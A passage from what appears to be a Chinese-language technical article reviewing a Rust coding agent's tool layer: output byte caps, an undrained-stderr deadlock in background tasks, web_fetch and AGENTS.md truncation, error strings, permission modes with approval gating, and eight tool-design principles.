<span class="w">            </span><span class="kd">let</span><span class="w"> </span><span class="p">(</span><span class="n">kept</span><span class="p">,</span><span class="w"> </span><span class="n">total</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">read_capped</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">out</span><span class="p">);</span>
<span class="w">            </span><span class="n">task</span><span class="p">.</span><span class="n">out_buf</span><span class="p">.</span><span class="n">extend_from_slice</span><span class="p">(</span><span class="o">&amp;</span><span class="n">kept</span><span class="p">);</span>
<span class="w">            </span><span class="n">task</span><span class="p">.</span><span class="n">out_total</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">total</span><span class="p">;</span>
<span class="w">            </span><span class="n">child</span><span class="p">.</span><span class="n">stdout</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">out</span><span class="p">);</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">        </span><span class="c1">// …</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// …</span>
<span class="p">}</span>
</code></pre></div>


<code>take()</code> 之后又放回去，是因为 <code>read_capped</code> 按值接收 reader；写法有点绕，但避免了给 <code>Task</code> 加额外的生命周期参数。

累计输出受 <code>CAPTURE_BYTES = 512 KB</code> 限制，比前台命令的 256 KB 大一倍。理由是合理的：后台任务的输出会被多次 <code>task_output</code> 分批取走，累计量自然更大，而且它是「累计保留」而不是「单次报告」。
<h2>后台任务的一个真实缺陷：stderr 从未被读走</h2>

看 <code>TaskManager::spawn</code> 里的进程配置：
<div class="codehilite"><pre><span></span><code><span class="n">cmd</span><span class="p">.</span><span class="n">current_dir</span><span class="p">(</span><span class="n">cwd</span><span class="p">)</span>
<span class="w">    </span><span class="p">.</span><span class="n">stdin</span><span class="p">(</span><span class="n">Stdio</span><span class="p">::</span><span class="n">null</span><span class="p">())</span>
<span class="w">    </span><span class="p">.</span><span class="n">stdout</span><span class="p">(</span><span class="n">Stdio</span><span class="p">::</span><span class="n">piped</span><span class="p">())</span>
<span class="w">    </span><span class="p">.</span><span class="n">stderr</span><span class="p">(</span><span class="n">Stdio</span><span class="p">::</span><span class="n">piped</span><span class="p">());</span>
</code></pre></div>


stdout 和 stderr 都被设成了管道。但回头看上一节的 <code>output()</code>：它只 <code>take()</code> 并读取 <code>child.stdout</code>。<code>Task</code> 结构体里也只有一个 <code>out_buf</code> 字段，没有对应的错误缓冲区。stderr 被设成管道后，<strong>没有任何代码去读它</strong>。

这意味着一件很严重的事：如果一个后台命令往 stderr 写超过管道缓冲区（常见是 64 KB），它会在写 stderr 时永久阻塞，进程永远不退出，<code>task_output</code> 永远显示 <code>running</code>。而模型会一直轮询一个永远不会完成的任务。

什么时候会遇到？比想象的多：
<div class="table-scroll"><table>
<thead>
<tr>
<th>场景</th>
<th>stderr 输出量</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>cargo build</code>（进度条、warning）</td>
<td>编译警告很容易超过 64 KB</td>
</tr>
<tr>
<td><code>npm install</code>（弃用警告、audit 报告）</td>
<td>常见几 KB 到几十 KB</td>
</tr>
<tr>
<td>任何带进度条的 CLI（pip、docker）</td>
<td>进度条持续重绘，量很大</td>
</tr>
<tr>
<td>一个报了很多错的测试命令</td>
<td>无上限</td>
</tr>
</tbody>
</table></div>

对照组是前台 <code>run_command</code>：它用两个线程同时排空两个管道，所以同样的问题不存在。<code>git.rs</code> 的 <code>run_git</code> 也做了同样的事（两个线程）。只有后台任务这条路径漏了。

修法有两种：把 stderr 合并进 stdout（<code>2&gt;&amp;1</code>，但要改命令字符串，不干净），或者给 <code>Task</code> 加一个 <code>err_buf</code>，在 <code>output()</code> 里同样 drain stderr。后者更正确：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="k">mut</span><span class="w"> </span><span class="n">err</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">child</span><span class="p">.</span><span class="n">stderr</span><span class="p">.</span><span class="n">take</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="p">(</span><span class="n">kept</span><span class="p">,</span><span class="w"> </span><span class="n">total</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">read_capped</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">err</span><span class="p">);</span>
<span class="w">    </span><span class="n">task</span><span class="p">.</span><span class="n">err_buf</span><span class="p">.</span><span class="n">extend_from_slice</span><span class="p">(</span><span class="o">&amp;</span><span class="n">kept</span><span class="p">);</span>
<span class="w">    </span><span class="n">task</span><span class="p">.</span><span class="n">err_total</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">total</span><span class="p">;</span>
<span class="w">    </span><span class="n">child</span><span class="p">.</span><span class="n">stderr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">err</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>


这样既解决阻塞，也让错误信息可见——现在后台任务的 stderr 内容是完全丢失的，模型只能看到 stdout。对一个 Agent 工具来说，「命令失败了但看不到错误信息」是个很糟糕的状态。

这个缺陷值得单独列出来，因为它完美展示了一类问题：<strong>同一个项目里，两条相似路径（前台/后台）采用了不同的排空策略，其中一条是错的，而没有测试覆盖「后台命令输出大量 stderr」这个场景</strong>。这类问题靠代码审查很难发现，因为错误路径看起来完全正常——它只是永远不结束。
<h2>web_fetch：2 MB 与 20,000 字符</h2>

网络是三个无限来源里最不可控的。<code>web_fetch</code> 为此做了两层限制：
<div class="codehilite"><pre><span></span><code><span class="k">const</span><span class="w"> </span><span class="n">MAX_RESPONSE_BYTES</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">1024</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">1024</span><span class="p">;</span>

<span class="kd">let</span><span class="w"> </span><span class="n">max_chars</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">args</span>
<span class="w">    </span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">&quot;max_chars&quot;</span><span class="p">)</span>
<span class="w">    </span><span class="p">.</span><span class="n">and_then</span><span class="p">(</span><span class="o">|</span><span class="n">v</span><span class="o">|</span><span class="w"> </span><span class="n">v</span><span class="p">.</span><span class="n">as_u64</span><span class="p">())</span>
<span class="w">    </span><span class="p">.</span><span class="n">unwrap_or</span><span class="p">(</span><span class="mi">20_000</span><span class="p">)</span>
<span class="w">    </span><span class="p">.</span><span class="n">clamp</span><span class="p">(</span><span class="mi">500</span><span class="p">,</span><span class="w"> </span><span class="mi">200_000</span><span class="p">)</span><span class="w"> </span><span class="k">as</span><span class="w"> </span><span class="kt">usize</span><span class="p">;</span>
</code></pre></div>


第一层是响应体：最多留 2 MB，其余读走丢弃。第二层是文本裁剪：<code>clip_chars</code> 按<strong>字符</strong>裁到 <code>max_chars</code>，默认 20,000。注意这一层和出口 <code>clamp</code> 的 20,000 字节语义不同——<code>web_fetch</code> 先按字符裁到 20,000 字，如果这是中文，就是 60,000 字节，然后再被出口 <code>clamp</code> 切到 20,000 字节。两次裁剪都有用，但第二次才是最终生效的那个。

<code>max_chars</code> 被 clamp 在 500 到 200,000 之间。下限 500 防止模型要一个没用的碎片；上限 200,000 防止一次要 100 MB 文本。但上限 200,000 其实永远不会生效，因为出口 <code>clamp</code> 只有 20,000 字节——一个诚实的参数范围应该是 <code>clamp(500, 20_000)</code>，或者至少让参数上限和出口预算一致。

响应体保留量的检查也值得看：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;URL: {url}</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
<span class="k">if</span><span class="w"> </span><span class="n">total</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="n">bytes</span><span class="p">.</span><span class="n">len</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">out</span><span class="p">.</span><span class="n">push_str</span><span class="p">(</span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;[response truncated at {MAX_RESPONSE_BYTES} bytes]</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">));</span>
<span class="p">}</span>
<span class="n">out</span><span class="p">.</span><span class="n">push_str</span><span class="p">(</span><span class="o">&amp;</span><span class="n">clip_chars</span><span class="p">(</span><span class="o">&amp;</span><span class="n">text</span><span class="p">,</span><span class="w"> </span><span class="n">max_chars</span><span class="p">));</span>
</code></pre></div>


<code>total &gt; bytes.len()</code> 这个判断是「实际读到多少 vs 保留了多少」，比「响应头里的 Content-Length」可靠——因为分块传输、gzip 压缩都可能让 Content-Length 缺失或不准。这是「按实际发生的事实判断」而不是「按声明判断」，在 HTTP 场景下是唯一正确的做法。

<code>web_search</code> 只有结果条数限制（<code>count</code> 默认 5，clamp 到 1..10）。这是合理的：搜索结果结构固定（标题 + URL + 摘要），条数就是长度的唯一决定因素。但如果单个摘要特别长，输出仍可能很大——只是被出口 <code>clamp</code> 兜住。

最后注意「限制输出」不等于「限制计算量」：<code>html_to_text</code> 要遍历整个 HTML 做标签剥离、实体解码、空白折叠，最后才裁剪，所以一个 2 MB 的页面仍会被完整解析一遍。对 Agent 的调用频率无所谓，但如果把 <code>web_fetch</code> 放进循环跑几千次，瓶颈就在这里。
<h2>skill 与项目文档：同样吃预算</h2>

两个不是「工具输出」但同样吃预算的地方也有上限。

<strong>技能正文</strong>：<code>skills.rs</code> 的 <code>MAX_BODY_CHARS = 20_000</code>。<code>skill</code> 工具加载一个技能时会返回完整正文，如果技能文档写得极长，就会把上下文挤满。20,000 字符和 <code>web_fetch</code> 的默认值一致，是一个「够详尽的说明文档，但不会喧宾夺主」的量级。

<strong>项目文档</strong>：<code>prompt.rs</code> 的 <code>MAX_PROJECT_DOCS = 20_000</code>。这里处理的是 <code>AGENTS.md</code>——全局的一份加上从仓库根目录到工作区沿途的每一份，拼接后的总量受 20,000 字符限制，超了就截断并追加 <code>… project guidance truncated</code>。
<div class="codehilite"><pre><span></span><code><span class="k">const</span><span class="w"> </span><span class="n">MAX_PROJECT_DOCS</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">20_000</span><span class="p">;</span>
<span class="k">const</span><span class="w"> </span><span class="n">DOC_NAMES</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="o">&amp;</span><span class="kt">str</span><span class="p">;</span><span class="w"> </span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="s">&quot;AGENTS.md&quot;</span><span class="p">];</span>
</code></pre></div>


拼接顺序是「全局 → 根目录 → … → 工作区」，并用 <code>canonicalize</code> 去重（防止符号链接让同一文件被读两次）。这里有个真实的风险：截断是从尾部切的，而排在尾部的正是<strong>最靠近工作区、也最具体</strong>的那份约定。仓库根目录写 15,000 字符、子目录再写 8,000 字符，总长 23,000 超限，被切掉的恰恰是子目录那份的后半部分。更合理的策略是「从工作区往上收集，总量够了就停」，保留最具体的那部分。

技能列表也占预算，但每个技能只有一行，所以影响线性且很小；真正的大头是用 <code>skill</code> 工具加载技能时的正文。这个设计是对的：<strong>索引常驻，正文按需拉取</strong>，和 RAG 思路一致，只是索引极简。
<h2>错误即结果：Err(String) 的另一半价值</h2>

工具层的所有失败都用 <code>Result&lt;String, String&gt;</code> 表达，错误是字符串。这个决定有三层含义。

第一层是<strong>错误文本是给模型看的</strong>，不是给日志看的。所以每条错误都写成了「出了什么问题 + 该怎么办」：
<div class="table-scroll"><table>
<thead>
<tr>
<th>工具</th>
<th>错误文本</th>
<th>给模型的下一步</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>read_file</code></td>
<td><code>… is N bytes (&gt; 4194304); read it in chunks with offset/limit</code></td>
<td>用 offset/limit 分块读</td>
</tr>
<tr>
<td><code>edit_file</code></td>
<td><code>`old_string` not found in … — read the file and match it exactly, including whitespace</code></td>
<td>先读文件，注意空白</td>
</tr>
<tr>
<td><code>edit_file</code></td>
<td><code>`old_string` occurs 3 times; pass replace_all=true or provide more context</code></td>
<td>加参数或补充上下文</td>
</tr>
<tr>
<td><code>grep</code></td>
<td><code>no matches for `xxx`</code></td>
<td>换个词，或确认范围</td>
</tr>
<tr>
<td><code>skill</code></td>
<td><code>unknown skill `x`; available: a, b, c</code></td>
<td>从可用列表里选</td>
</tr>
<tr>
<td><code>subagent</code></td>
<td><code>unknown sub-agent `x`</code></td>
<td>换个名字</td>
</tr>
<tr>
<td><code>git</code></td>
<td><code>git status exited with 128\n…</code></td>
<td>附带 git 自己的报错</td>
</tr>
</tbody>
</table></div>

<code>skill</code> 那条把可用名字都列出来了，<code>git</code> 那条把 git 的 stderr 拼进来了。这两条都是「把模型需要的信息放在错误里」，避免了「报错 → 再查一次可用列表 → 再调用」的两轮往返。

第二层是<strong>错误不会中断轮次</strong>。<code>execute</code> 把错误包装成工具结果字符串，继续下一轮：
<div class="codehilite"><pre><span></span><code><span class="c1">// tools::dispatch 的 Err 在 run_tool 里被格式化成 `ERROR: {e}`</span>
</code></pre></div>


如果工具错误直接冒泡成异常，一次拼错参数就会终止整个任务。做成字符串意味着模型看到 <code>ERROR: …</code> 之后可以自己纠正——读文件、改参数、重试。这是 Agent 和普通程序最大的差别之一：<strong>错误是一等输入，不是例外</strong>。

第三层是一个反直觉的推论：错误文本也应该有上限，而现在没有。<code>clamp</code> 只作用于 <code>Ok</code> 分支。如果某个工具返回一条 100 KB 的错误（比如把整个 <code>git diff</code> 当成失败信息返回），它会原样进上下文。实践中没有工具这么做，但「出口只保护成功路径」是一个应该被记住的不对称。
<h2>审批与确认：哪些工具默认要问</h2>

工具的能力和危险程度不成正比。<code>read_file</code> 再怎么写也不会毁掉代码；<code>run_command</code> 一条 <code>rm -rf</code> 就够了。所以工具还要按危险程度分级管控。

<code>check_tool</code> 是第一道闸门，任何工具在执行前都要过：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">check_tool</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="p">(),</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">permission_mode</span><span class="p">.</span><span class="n">blocked_tools</span><span class="p">().</span><span class="n">contains</span><span class="p">(</span><span class="o">&amp;</span><span class="n">name</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;tool `{name}` is not available in {:?} mode&quot;</span><span class="p">,</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">permission_mode</span><span class="p">));</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">disallowed_tools</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">any</span><span class="p">(</span><span class="o">|</span><span class="n">t</span><span class="o">|</span><span class="w"> </span><span class="n">t</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">name</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;tool `{name}` is disallowed by configuration&quot;</span><span class="p">));</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="o">!</span><span class="bp">self</span><span class="p">.</span><span class="n">allowed_tools</span><span class="p">.</span><span class="n">is_empty</span><span class="p">()</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="o">!</span><span class="bp">self</span><span class="p">.</span><span class="n">allowed_tools</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">any</span><span class="p">(</span><span class="o">|</span><span class="n">t</span><span class="o">|</span><span class="w"> </span><span class="n">t</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">name</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;tool `{name}` is not in the allowed list&quot;</span><span class="p">));</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="nb">Ok</span><span class="p">(())</span>
<span class="p">}</span>
</code></pre></div>


顺序有讲究：模式封禁最优先（「当前场景不允许」），然后黑名单（用户明确不要的），最后白名单（只允许这些，属于「收窄」逻辑，只需在前两条都没否掉时判断）。注意被封禁的工具<strong>根本不会出现在工具列表里</strong>（<code>build_tools</code> 里的 <code>retain</code>），而 <code>check_tool</code> 的报错发生在调用时。前者防「模型选错」，后者防「绕过」——如果模型从历史消息里学到一个当前不可用的工具名并尝试调用，会在这里被拦住。

第二道闸门是<strong>执行前的交互确认</strong>，只针对命令类工具：
<div class="table-scroll"><table>
<thead>
<tr>
<th>工具</th>
<th>默认是否确认</th>
<th>依据</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>run_command</code></td>
<td>按 <code>approval</code> 策略</td>
<td>命令不可静态分析</td>
</tr>
<tr>
<td><code>git_commit</code></td>
<td>按 <code>approval</code> 策略</td>
<td>写历史，但可撤销</td>
</tr>
<tr>
<td><code>write_file</code> / <code>edit_file</code> / <code>apply_patch</code></td>
<td>否（除特定模式）</td>
<td>文件可回滚</td>
</tr>
</tbody>
</table></div>

五种权限模式覆盖了主要场景：
<div class="table-scroll"><table>
<thead>
<tr>
<th>模式</th>
<th>阻断的工具</th>
<th>典型用法</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>default</code></td>
<td>无</td>
<td>日常使用</td>
</tr>
<tr>
<td><code>accept-edits</code></td>
<td>无（但强制保留 shell 确认）</td>
<td>信任文件编辑、不信命令</td>
</tr>
<tr>
<td><code>plan</code></td>
<td><code>write_file</code>、<code>edit_file</code>、<code>apply_patch</code>、<code>run_command</code>、<code>git_commit</code></td>
<td>只读分析</td>
</tr>
<tr>
<td><code>debug</code></td>
<td><code>write_file</code>、<code>edit_file</code>、<code>apply_patch</code>、<code>git_commit</code></td>
<td>可以跑命令复现，但绝不改文件</td>
</tr>
<tr>
<td><code>goal</code></td>
<td>无（且不确认任何操作）</td>
<td>无人值守</td>
</tr>
</tbody>
</table></div>

<code>plan</code> 和 <code>debug</code> 的区别很能说明问题：<code>plan</code> 连 <code>run_command</code> 都禁掉（计划阶段不应该有副作用），<code>debug</code> 允许跑命令复现问题，但绝不允许改文件——「不要把已经坏掉的状态弄得更坏」。

这个设计把「工具的能力」和「场景的约束」分开了：工具和 <code>Ctx</code> 都不需要知道对方，两者在一个统一的检查函数里汇合。新增工具时只需考虑两件事：名字要不要进某个模式的封禁列表，以及是否需要交互确认。
<h2>只读工具会跳过哪些目录</h2>

<code>for_each_file</code> 有一份硬编码的忽略目录列表：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">is_ignored_dir</span><span class="p">(</span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="fm">matches!</span><span class="p">(</span><span class="n">name</span><span class="p">,</span>
<span class="w">        </span><span class="s">&quot;.git&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;target&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;node_modules&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;__pycache__&quot;</span>
<span class="w">        </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;.venv&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;venv&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;dist&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;build&quot;</span>
<span class="w">        </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;.idea&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;.cache&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;.next&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;vendor&quot;</span>
<span class="w">        </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;.tox&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;.mypy_cache&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;.ruff_cache&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;.pytest_cache&quot;</span>
<span class="w">    </span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


十五个名字覆盖主流生态的构建产物目录：Rust 的 <code>target</code>、Node 的 <code>node_modules</code> / <code>dist</code> / <code>build</code> / <code>.next</code>、Python 的 <code>__pycache__</code> / <code>.venv</code> / <code>.tox</code> 与各种缓存、PHP 的 <code>vendor</code>、IDE 的 <code>.idea</code>。这解决的是很实际的问题：一个中等 Node 项目的 <code>node_modules</code> 可能有十万个文件，不跳过的话「全局找一下这个名字」就会遍历十万个第三方文件。硬编码的优点是开箱即用，缺点是遇到列表外的生成目录（<code>out</code>、<code>bin</code>、<code>obj</code>、<code>.gradle</code>、<code>Pods</code>）只能改代码。

<code>grep</code> 和 <code>glob</code> 都走 <code>for_each_file</code>，共享这份列表；<code>list_dir</code> 不走它，所以列目录时能看到 <code>node_modules</code>（这通常正是用户想要的）。这个区分是对的：<strong>搜索要过滤，列举要完整</strong>。
<h2>输出顺序：稳定排序为什么重要</h2>

三个工具在返回前会排序，理由都值得记一下。

<code>list_dir</code> 把目录和文件分开排序：
<div class="codehilite"><pre><span></span><code><span class="n">dirs</span><span class="p">.</span><span class="n">sort</span><span class="p">();</span>
<span class="n">files</span><span class="p">.</span><span class="n">sort</span><span class="p">();</span>
</code></pre></div>


先输出全部目录再输出全部文件。不排序的话顺序取决于文件系统返回顺序（Linux 上通常是 inode 顺序，看起来是随机的），模型很难判断哪些是主要目录；「目录在前、按字母序」则是人和模型都容易理解的约定。

<code>glob</code> 也排序（<code>matches.sort()</code>）。<code>for_each_file</code> 用栈（<code>pop</code> 取最后一个），收集顺序是「深度优先但逆序」，天然是乱的；排序后同一个模式两次调用返回完全一致的顺序，对缓存结果和对比差异都很重要。

<code>grep</code> <strong>不</strong>排序：按遍历顺序输出命中行，文件内是行号升序，跨文件是遍历顺序，但结果带 <code>path:line</code> 前缀，信息不丢失。不排序的好处是截断发生时被截掉的必然是「遍历靠后」的文件，否则得先收集全部命中才能排序。

三条规则合起来是一个原则：<strong>凡是会「按位置截断」的输出，顺序就决定了什么会被保留</strong>。<code>list_dir</code> 不截断，顺序只是可读性问题；<code>glob</code> 的顺序决定了 500 个文件里保留哪 500 个；<code>grep</code> 的顺序决定了 200 条命中里保留哪 200 条。后者最值得改进——按「路径 + 行号」排序再截断会让输出稳定得多，代价是多占一点内存。
<h2>工具的隐性成本：token、选择困难与误用</h2>

工具不是免费的。每个工具都要在每次请求里带上完整定义，24 个工具大约占 2,500 到 4,000 个 token（取决于描述长度）。按 100 轮对话算，光工具定义就是几十万 token 的输入。

更重要的成本不是钱，是<strong>选择困难</strong>。工具越多，模型选错的概率越高。特别容易混淆的组合有：
<div class="table-scroll"><table>
<thead>
<tr>
<th>容易混淆的一对</th>
<th>区别</th>
<th>缓解手段</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>write_file</code> vs <code>edit_file</code></td>
<td>整体覆盖 vs 精确替换</td>
<td><code>write_file</code> 描述里写明 <code>Prefer edit_file for small changes</code></td>
</tr>
<tr>
<td><code>edit_file</code> vs <code>apply_patch</code></td>
<td>单点替换 vs 多处改动</td>
<td><code>apply_patch</code> 描述里写明 <code>instead of edit_file</code> 与多行场景</td>
</tr>
<tr>
<td><code>grep</code> vs <code>glob</code></td>
<td>搜内容 vs 搜文件名</td>
<td>描述里分别用 <code>file contents</code> 和 <code>Find files by</code></td>
</tr>
<tr>
<td><code>run_command</code> vs <code>task_output</code></td>
<td>执行 vs 收结果</td>
<td><code>run_command</code> 描述里指明「后台执行后用 task_output 轮询」</td>
</tr>
<tr>
<td><code>memory_save</code> vs <code>todo_write</code></td>
<td>跨会话 vs 会话内</td>
<td>两者描述里都强调了各自的持久性范围</td>
</tr>
<tr>
<td><code>web_fetch</code> vs <code>web_search</code></td>
<td>读已知 URL vs 找未知 URL</td>
<td><code>web_search</code> 描述里指明后续用 <code>web_fetch</code></td>
</tr>
</tbody>
</table></div>

第三列是最有价值的技巧：<strong>用描述消除歧义，而不是靠模型猜</strong>。每一对容易混淆的工具，至少有一方的描述里出现了另一方的名字。工具集越大，这条越该成为硬性要求。

另一类隐性成本是<strong>能力重叠</strong>：<code>apply_patch</code> 能做的 <code>edit_file</code> 基本都能做。重复不是错误，它给了模型更多选择，但要求描述足够清楚，否则模型会随手选一个，失败再换另一个试。
<h2>工具设计八条原则</h2>

把上面所有观察收拢，可以提炼出八条可以直接用的规则。

<strong>一、每个输出都必须有上限，且默认生效。</strong> 上限不是「这个工具可能会很长所以加一下」，而是「所有工具都加，然后对确实不会长的工具放宽」。默认安全，而非默认信任。

<strong>二、上限要分层，不能只有一层。</strong> 枚举前过滤（文件体积）、读取时限制（捕获字节数）、产出后裁剪（单行长度）、出口兜底（全局 clamp）。只有出口兜底的话，内存和耗时问题照样发生。

<strong>三、超限必须可见。</strong> 三种语义里，「静默丢弃」只应该用在「提示本身会造成噪音」的场景，且应该有一个计数汇总。模型不知道信息不完整，就会基于不完整信息给结论——这是最贵的失败模式。

<strong>四、错误文本要写「下一步做什么」。</strong> 不是 <code>file too large</code>，而是 <code>read it in chunks with offset/limit</code>。同理，拒绝要写成指令：<code>Do not retry it; ask what to do instead</code>。

<strong>五、拒绝用 <code>Ok</code> + 指令，失败用 <code>Err</code> + 原因。</strong> 两者对模型意味着完全不同的反应。混在一起会让模型对被拒绝的操作反复重试。

<strong>六、默认值必须覆盖最常见用法，且不能产生危险行为。</strong> <code>offset: 1</code>、<code>limit: 2000</code>、<code>timeout: 120</code>、<code>max_chars: 20000</code> 都是「常见且安全」。反过来，如果一个参数的危险值恰好是默认值（比如「默认删除」），设计就错了。

<strong>七、单位要统一，或者明确标注。</strong> 同一个项目里混用字节和字符是源头性混乱，因为它不报错、只让所有容量估算偏离。选一种，写进字段注释。

<strong>八、用描述消除工具之间的歧义。</strong> 每对容易混淆的工具，至少一方的描述里要点名另一方。这是投入产出比最高的一项工作。

还有一条不在这八条里但同样重要：<strong>给相似的两条代码路径写对称的实现</strong>。前台命令和后台任务的排空策略不一致，直接导致了 stderr 死锁。如果写后台任务时把前台的 <code>run_command</code> 打开对照一遍，这个问题五分钟就能发现。
<h2>九个常见陷阱</h2>
<div class="table-scroll"><table>
<thead>
<tr>
<th>陷阱</th>
<th>表现</th>
<th>修法</th>
</tr>
</thead>
<tbody>
<tr>
<td>工具输出无上限</td>
<td>一次调用就把上下文挤爆，触发压缩</td>
<td>出口统一 <code>clamp</code> + 每个工具内部封顶</td>
</tr>
<tr>
<td>静默跳过不报数</td>
<td>模型把「文件被跳过」当成「没有匹配」</td>
<td>统计跳过数量，在末尾汇总一行</td>
</tr>
<tr>
<td>单位混用</td>
<td>中文内容的实际容量只有英文三分之一</td>
<td>统一字节或统一字符，写进注释</td>
</tr>
<tr>
<td>默认值与上限不匹配</td>
<td>请求 2000 行，实际拿到 200 行</td>
<td>让默认值贴近真实产出，或在标注里说明</td>
</tr>
<tr>
<td>截断标注算错单位</td>
<td>标注 <code>chars</code> 实际是字节</td>
<td>标注用实际单位，或改成正确计数</td>
</tr>
<tr>
<td>错误没有可行动信息</td>
<td>模型重试同一个错误参数</td>
<td>错误文本写明下一步动作</td>
</tr>
<tr>
<td>拒绝与失败混同</td>
<td>被拒绝的操作被换个写法重试</td>
<td>拒绝返回 <code>Ok</code> + 停止指令</td>
</tr>
<tr>
<td>只有一条管道被排空</td>
<td>命令输出到另一条流时永久阻塞</td>
<td>两个流都排空，或用重定向合并</td>
</tr>
<tr>
<td>忽略目录写死</td>
<td>项目特有的生成目录无法排除</td>
<td>支持配置追加，或至少提供覆盖开关</td>
</tr>
</tbody>
</table></div>

这九个里有四个（静默跳过、单位混用、单位不一致的标注、只有一条管道被排空）不会产生任何报错——它们安静地让工具变差，往往要等到某次具体事故才被发现。这也是「输出预算」这一层值得单独写一篇文章的原因：它是最不可见的一层。
